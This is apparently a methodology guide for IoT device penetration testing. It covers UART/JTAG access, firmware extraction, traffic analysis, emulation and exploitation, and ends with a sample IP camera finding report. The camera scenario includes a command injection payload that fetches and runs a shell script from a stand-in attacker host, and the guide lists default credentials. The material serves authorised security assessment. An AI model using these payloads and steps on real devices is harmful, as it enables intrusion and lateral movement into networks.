When to Use

Workflow

Step 1: Device Reconnaissance and Hardware Analysis

Examine the physical device and identify attack surfaces:

• External inspection: Document all physical interfaces (USB, Ethernet, serial ports, SD card slots), labels, FCC ID, and model numbers
• FCC ID lookup: Search the FCC database (fcc.gov/oet/ea/fccid) using the FCC ID to find internal photos, schematics, and radio frequency information
• PCB analysis: Open the device enclosure and photograph the PCB. Identify:
  • Main processor/SoC (read markings, search datasheet)
  • Flash memory chips (SPI NOR, NAND, eMMC)
  • Debug headers and test points
  • UART/JTAG/SWD pins (look for 4-pin or 10-pin headers, or unpopulated pads)
• UART identification: Use a multimeter to identify UART pins (TX, RX, GND, VCC). Connect USB-to-UART adapter and attempt serial console access at common baud rates (9600, 38400, 57600, 115200)
• JTAG identification: Use JTAGulator or manual probing to identify JTAG pins (TCK, TMS, TDI, TDO, TRST). Connect JTAG debugger for memory access and debugging.

Step 2: Firmware Extraction and Analysis

Extract and analyze the device firmware:

• Firmware acquisition methods:
  • Download from manufacturer website or update server
  • Extract from flash memory using SPI programmer: connect CH341A to SPI flash, read with flashrom -p ch341a_spi -r firmware.bin
  • Capture over-the-air updates via network interception
  • Extract from UART bootloader console (U-Boot: md.b memory dump)
• Firmware unpacking: binwalk -e firmware.bin to extract filesystem, kernel, and bootloader components
• Filesystem analysis:
  • Search for credentials: grep -rn "password\|passwd\|secret\|key" squashfs-root/
  • Examine /etc/shadow for password hashes
  • Review startup scripts in /etc/init.d/ for insecure service configurations
  • Identify web server configurations and CGI scripts for web interface vulnerabilities
  • Use Firmwalker: ./firmwalker.sh squashfs-root/ for automated sensitive data discovery
• Binary analysis: Use Ghidra to reverse engineer key binaries (web server, management daemon, authentication modules) for hardcoded credentials, command injection, and buffer overflow vulnerabilities
• Known vulnerability scanning: Extract software versions and cross-reference with CVE databases. Use firmware-analysis-toolkit for automated CVE scanning.

Step 3: Network Communication Analysis

Analyze all network traffic from the IoT device:

• Traffic capture: Connect the device to a network with traffic mirroring (SPAN port) or use an inline transparent bridge. Capture all traffic with Wireshark.
• Protocol analysis: Identify all protocols used (HTTP, HTTPS, MQTT, CoAP, AMQP, custom TCP/UDP). Check for unencrypted sensitive data transmission.
• TLS analysis: Verify TLS implementation: certificate validation, cipher suite strength, certificate pinning. Attempt MITM interception with Burp Suite.
• Cloud API analysis: Intercept device-to-cloud communication to identify API endpoints, authentication methods, and data transmitted. Test for IDOR, authentication bypass, and excessive data exposure.
• Bluetooth/BLE testing: Use nRF Connect or Ubertooth to enumerate BLE services and characteristics. Test for unauthenticated access, plaintext data transmission, and static pairing keys.
• Zigbee/Z-Wave testing: Use KillerBee framework to capture and analyze Zigbee traffic, test for replay attacks, and check key exchange security.

Step 4: Firmware Emulation and Dynamic Testing

Emulate the firmware for dynamic security testing:

• QEMU emulation: Use FirmAE or Firmadyne to emulate the extracted firmware: python3 fat.py firmware.bin to boot the firmware in an emulated environment
• Web interface testing: Access the device's web management interface from the emulated environment and test for:
  • Default credentials (admin:admin, root:root, admin:password)
  • Command injection in configuration parameters
  • Authentication bypass via direct URL access
  • Cross-site scripting in all input fields
  • CSRF in state-changing operations
• Service testing: Use Nmap to scan the emulated device for all open ports and test each service for known vulnerabilities
• Fuzzing: Fuzz network services using Boofuzz or AFL to discover memory corruption vulnerabilities in embedded services

Step 5: Exploitation and Impact Demonstration

Exploit identified vulnerabilities to demonstrate impact:

• Remote code execution: Chain discovered vulnerabilities (command injection, buffer overflow) to achieve remote code execution on the device
• Credential extraction: Extract and crack credentials found in firmware, memory dumps, or network captures
• Lateral movement: Demonstrate how a compromised IoT device can be used to attack other devices on the network
• Persistence: Show how an attacker could maintain access to the device across firmware updates or reboots
• Physical impact: For IIoT devices, demonstrate the potential for physical manipulation (changing sensor readings, modifying actuator commands)

Key Concepts

Tools & Systems

• Binwalk: Firmware extraction and analysis tool that identifies file system types, compression formats, and embedded data within firmware images
• Ghidra: NSA's open-source reverse engineering framework for analyzing embedded device binaries across ARM, MIPS, and other architectures
• FirmAE/Firmadyne: Automated firmware emulation platforms that boot extracted Linux-based IoT firmware in QEMU for dynamic testing
• Bus Pirate: Hardware hacking multi-tool supporting UART, SPI, I2C, and JTAG protocols for interfacing with embedded device debug interfaces
• Wireshark: Network protocol analyzer for capturing and analyzing IoT device network traffic across all protocol layers

Common Scenarios

Scenario: Enterprise IP Camera Security Assessment

Context: A company plans to deploy 200 IP cameras from a single vendor across its offices. Before deployment, the security team requests a penetration test of the camera to identify vulnerabilities that could be exploited to gain access to the corporate network.

Approach:

1. Open the camera and identify UART pins on the PCB; connect and access a root shell at 115200 baud with no password
2. Extract firmware from the SPI flash chip and analyze with Binwalk: discover embedded Linux with BusyBox, lighttpd web server, and custom management daemon
3. Find hardcoded credentials in /etc/shadow (root:$1$abc$hashedpassword) and crack the MD5 hash in seconds (password: camera123)
4. Web interface testing reveals command injection in the NTP server configuration field: ; wget http://attacker.com/shell.sh | sh
5. Network analysis shows the camera sends RTSP streams unencrypted and has ONVIF services exposed without authentication
6. Demonstrate pivoting: from the compromised camera, scan the corporate network and access 3 internal servers
7. Report recommends network segmentation, firmware vendor engagement, and deployment of cameras on an isolated VLAN

Pitfalls:

• Focusing only on the web interface and missing UART/JTAG access that provides a root shell with no authentication
• Not analyzing the firmware for hardcoded credentials that may be shared across all devices of the same model
• Testing the device in isolation and missing network-level risks from deploying vulnerable devices on the corporate network
• Overlooking the cloud connectivity and mobile app components that may expose additional attack surfaces

Output Format

## Finding: Unauthenticated Root Shell via UART Debug Interface

**ID**: IOT-001
**Severity**: Critical (CVSS 9.0)
**Device**: ModelCam X200 IP Camera (Firmware v3.2.1)
**Interface**: UART serial console (115200 baud, 8N1)

**Description**:
The IP camera exposes a UART serial interface on the PCB that provides
direct root shell access without authentication. An attacker with physical
access to the device can connect a USB-to-UART adapter and obtain full
root access to the embedded Linux operating system.

**Proof of Concept**:
1. Opened device enclosure (4 Philips screws, no tamper detection)
2. Connected FTDI adapter to UART pins (J3 header on PCB)
3. Serial terminal at 115200 8N1: immediate root shell prompt
4. root@camera:~# id -> uid=0(root) gid=0(root)

**Additional Findings from Root Access**:
- /etc/shadow contains hardcoded root password (camera123) shared across all units
- WiFi credentials for any configured network stored in plaintext at /etc/wireless.conf
- RTSP stream accessible without authentication on port 554

**Impact**:
Physical access to any deployed camera grants root access to the network.
With 200 cameras deployed across offices, each camera becomes a potential
network entry point with root-level command execution capability.

**Remediation**:
1. Disable UART console access or require authentication in production firmware
2. Remove hardcoded credentials; use per-device unique passwords generated at manufacture
3. Encrypt stored WiFi credentials using a hardware-backed key
4. Deploy cameras on an isolated VLAN with no access to the corporate network